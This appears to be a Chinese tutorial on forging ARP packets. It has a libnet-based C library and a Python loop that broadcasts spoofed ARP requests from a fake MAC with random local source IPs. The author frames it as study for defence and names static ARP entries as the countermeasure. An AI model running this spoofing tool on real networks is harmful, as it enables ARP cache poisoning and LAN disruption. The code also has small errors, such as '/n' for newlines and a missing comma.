ARP数据包伪造

一台网络中的计算机，其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的，软件可以操控硬件，硬件亦是一种特殊的软件，所以，接收者只根据数据包的内容，绝不可能判定此数据包的真正来源，一切都是可以伪造的。

网络系统功与防的矛盾斗争，可以使得我们更加快速的发现并修补系统漏洞，而且这种矛盾关系必然存在。

人外有人，天外有天。

攻的最高境界便是不战，是和平。

静态arp表项轻松破解ARP伪造报文的攻击。我们研究伪造报文的目的在于深刻理解系统以更好地防御，而非攻击。

ARP : Address Resolution PRotocol,地址解析协议，其基本功能为通过目标设备的ip地址，查询目标设备的MAC地址，以保证通信的顺利进行。它是IPv4中网络层必不可少的协议，不过在IPv6中已不再适用，并被邻居发现协议（NDP）所替代。

——维基百科

基础资料推荐：《TCP-IP详解 卷1：协议》《ARP协议简介》

需要注意，书中阐述的大多数arp缓存更新规则对现代操作系统已经不再适用，试想，一次ARP广播就可以更新当前局域网中所有主机的arp缓存条目，这是多么大的系统漏洞？一轮ARP伪造报文的攻击，便能使这个局域网主机之间的通讯陷入瘫痪。所以，现代操作系统采取了更加保守的arp缓存更新规则，上图已在Win7-64位操作系统与linux 2.6.32内核上获得验证。

一台网络中的计算机，其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的，软件可以操控硬件，硬件也是一种特殊的软件，所以，接收者只根据数据包的内容，绝不可能判定此数据包的真正来源，一切都是可以伪造的。

操作系统与硬件具有构造数据包的能力，当操作系统把这种能力以系统调用的方式提供给编程者时，则，编程者亦拥有了构造任意数据包的能力。

而Libnet又对这些系统调用进行了又一次的逻辑封装，将这些能力以更加容易使用的方式展露出来，以加快应用程序的开发速度。

实验环境为GNU/Linux，以太网，主机应已安装libnet。

ForgeArp.c

 1 //// # gcc ForgeArp.c -lnet -shared -fPIC -o ForgeArp.so 2 #include <stdio.h> 3 #include <stdlib.h> 4 #include <string.h> 5 #include <unistd.h> 6 #include <libnet.h> 7 #define MAC_ADDR_LEN 6 8 #define IP_ADDR_LEN 4 9 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,10                          char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes11                         )12 {13         libnet_t *net_t = NULL; 14         unsigned long src_ip,dst_ip = 0;        15         char err_buf[LIBNET_ERRBUF_SIZE];16         libnet_ptag_t p_tag; 17         unsigned int i=0;18         src_ip = libnet_name2addr4(net_t,src_ip_str,LIBNET_RESOLVE);19         if (src_ip==-1)20             {21             printf("error: libnet_name2addr4 src_ip /n");22             return 1;23             }24         dst_ip = libnet_name2addr4(net_t,dst_ip_str,LIBNET_RESOLVE);25         if (dst_ip==-1)26             {27             printf("error: libnet_name2addr4 dst_ip /n");28             return 1;29             }30 31         printf("the src_ip_str is %s,uint32 src_ip is %d/n",src_ip_str,src_ip);32         printf("the dst_ip_str is %s,uint32 dst_ip is %d/n",dst_ip_str,dst_ip);33         34         net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     35         if(net_t == NULL)36         {37                 printf("libnet_init error/n");38                 return 2;39         }40 41         p_tag = libnet_build_arp(42                         ARPHRD_ETHER,//hardware type ethernet43                         ETHERTYPE_IP,//protocol type44                         MAC_ADDR_LEN,//mac length45                         IP_ADDR_LEN,//protocol length46                         arpOp,//op type47                         (u_int8_t *)src_mac,//source mac addr48                         (u_int8_t *)&src_ip,//source ip addr49                         (u_int8_t *)dst_mac,//dest mac addr50                         (u_int8_t *)&dst_ip,//dest ip  addr51                         NULL,//payload52                         0,//payload length53                         net_t,//libnet context54                         0//0 stands to build a new one55         );56         57         if(-1 == p_tag)58         {59                 printf("libnet_build_arp error/n");60                 libnet_destroy(net_t);61                 return 3;62         }63 64         p_tag = libnet_build_ethernet(//create ethernet header65                         (u_int8_t *)dst_mac,//dest mac addr66                         (u_int8_t *)src_mac,//source mac addr67                         ETHERTYPE_ARP,//protocol type68                         NULL,//payload69                         0,//payload length70                         net_t,//libnet context71                         0//0 to build a new one72         );73 74         if(-1 == p_tag)75         {76                 printf("libnet_build_ethernet error!/n");77                 libnet_destroy(net_t);78                 return 4;79         }80         81         int res;82         i=0;83         for(;i<sendTimes;i++)84           if(-1 == (res = libnet_write(net_t)))85           {86                 printf("libnet_write error!/n");87                 libnet_destroy(net_t);88                 return 5;89           }90         91         libnet_destroy(net_t);92         return 0;93 FAIL:        94         libnet_destroy(net_t);95                 return 6;96 }

我们已经将ForgeArp功能编译成了shared object，接下来Python入场。

forgeArpTest.py

 1 """ 2 int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, 3             char * src_ip_str,char *dst_ip_str,uint16_t arpOp,unsigned int sendTimes 4            ) 5 """ 6 import time 7 import random 8 from ctypes import * 9 arpLib=CDLL('./ForgeArp.so')10 11 def MacTran(macStr):12     MacType= c_ubyte * 613     macStr=macStr.translate(None,":")14     return MacType(int(macStr[0:2],16),int(macStr[2:4],16),int(macStr[4:6],16),/15                    int(macStr[6:8],16)int(macStr[8:10],16),int(macStr[10:12],16))16 while True:17     lis=["192.168.0."]18     lis.append(str(int(random.random()*1000/4)))19     if lis[1]=='36':20         continue21     arpLib.ForgeAndSendArp("eth0",MacTran("66:66:66:66:66:66"),MacTran("FF:FF:FF:FF:FF:FF") /22                         ,''.join(lis),"192.168.0.1",c_ushort(1),c_uint(2))23     time.sleep(1)24 25 print ":)"

关于ForgeAndSendArp函数中arpOp参数的选项如下：

// 源码头文件libnet-1.2-rc3/include/libnet/libnet-headers.h 

1 // 仅摘部分内容2   uint16_t ar_op;          /* Operation type */3 #define ARPOP_REQUEST    1  /* req to resolve address */4 #define ARPOP_REPLY      2  /* resp to previous request */5 #define ARPOP_REVREQUEST 3  /* req protocol address given hardware */6 #define ARPOP_REVREPLY   4  /* resp giving protocol address */7 #define ARPOP_INVREQUEST 8  /* req to identify peer */8 #define ARPOP_INVREPLY   9  /* resp identifying peer */

代码测试无误。

静态arp表项轻松破解ARP伪造报文的攻击。我们伪造报文的目的在于深刻理解系统以更好地防御，而非攻击。

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